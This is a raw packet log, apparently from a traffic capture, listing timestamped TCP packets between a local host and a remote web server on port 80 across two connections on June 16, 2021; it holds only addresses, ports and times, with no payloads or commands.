Jun 16, 2021 12:04:57.685039997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685065985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685092926 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685100079 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685111046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685138941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685164928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685175896 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685189962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685214043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685221910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685250998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685272932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685282946 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685297966 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685321093 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685328960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685343027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685374975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685388088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685410976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685431957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685452938 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685456038 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685487986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.685944080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.685971975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686007977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686054945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686080933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686104059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686114073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686127901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686168909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686187029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686206102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686229944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686233044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686261892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686263084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686302900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686326981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686336994 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686351061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686372995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686384916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686419964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686453104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686665058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.686949015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.686975956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687017918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687087059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687110901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687150955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687169075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687203884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687227011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687239885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687254906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687279940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687288046 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687335968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687357903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687378883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687381029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687402964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687418938 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687462091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687485933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687503099 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687508106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687550068 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687865019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687886953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687922955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.687971115 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.687994003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688034058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688093901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688116074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688143969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688158035 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688169956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688213110 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688222885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688244104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688263893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688276052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688287020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688313007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688328028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688349009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688349962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688369036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688384056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688394070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688415051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688427925 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688433886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688455105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688472033 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688477039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688498020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688509941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688519955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688539982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688560009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688561916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688582897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688596964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688604116 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688625097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688633919 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688644886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688667059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688677073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688688040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688709021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688720942 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688733101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688754082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688766003 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688776970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688797951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688808918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688818932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688838959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688848972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688858986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688879013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688890934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688901901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688924074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688935041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688942909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688965082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.688977003 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.688985109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689006090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689017057 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.689029932 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689044952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689055920 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.689431906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689495087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.689584970 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689640999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689662933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689683914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689682961 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.689718008 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.689757109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689950943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.689990044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.690033913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690191031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690239906 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.690284967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690387964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690431118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.690479040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690574884 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690627098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.690681934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690880060 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.690928936 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.691009998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.697900057 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.701093912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723649025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723687887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723700047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723712921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723725080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723746061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723746061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723762035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723773956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723787069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723802090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723826885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723828077 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723834991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723846912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723867893 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723874092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723896027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723908901 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723920107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723937035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723947048 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.723956108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723972082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723984957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.723998070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724001884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724013090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.724025011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724037886 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.724059105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.724077940 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.724090099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.724104881 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724109888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724123955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724498987 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.724956036 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726070881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726104021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726144075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726166964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726198912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726211071 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726232052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726243973 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726258993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726279020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726288080 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726300955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726339102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726352930 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726378918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726387024 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726401091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726423025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726450920 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726454020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726480007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726516008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726527929 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726538897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726562023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726583958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726612091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726646900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726670027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726677895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726684093 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726686954 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726686954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726706982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726732969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.726797104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.726803064 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727123022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727166891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727180004 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727191925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727226019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727238894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727293968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727315903 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727343082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727360964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727375031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727412939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727426052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727444887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727471113 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727480888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727500916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727534056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727545977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727569103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727572918 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727596045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727624893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727648020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:57.727682114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:57.727691889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:14.063822031 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:14.106101990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.106208086 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:14.106758118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:14.148955107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481699944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481740952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481767893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481794119 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481812000 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:14.481817961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481841087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481853962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:14.481854916 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:14.484294891 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.078613997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.078689098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.078728914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.078766108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.078882933 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.078969955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.079420090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.079476118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.079961061 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.080394030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.080459118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.080569029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.081398964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.081461906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.081842899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.082325935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.082412004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.082485914 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.083314896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.083380938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.083859921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.084328890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.084384918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.084602118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.085314989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.085387945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.085884094 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.086286068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.086343050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.086529016 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.087311029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.087378979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.087553024 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.088253975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.088339090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.088538885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.089240074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.089302063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.089384079 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.090243101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.090305090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.090441942 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.091232061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.091289997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.091413975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.092227936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.092283964 CEST	80	49168	104.21.14.60	192.168.2.22
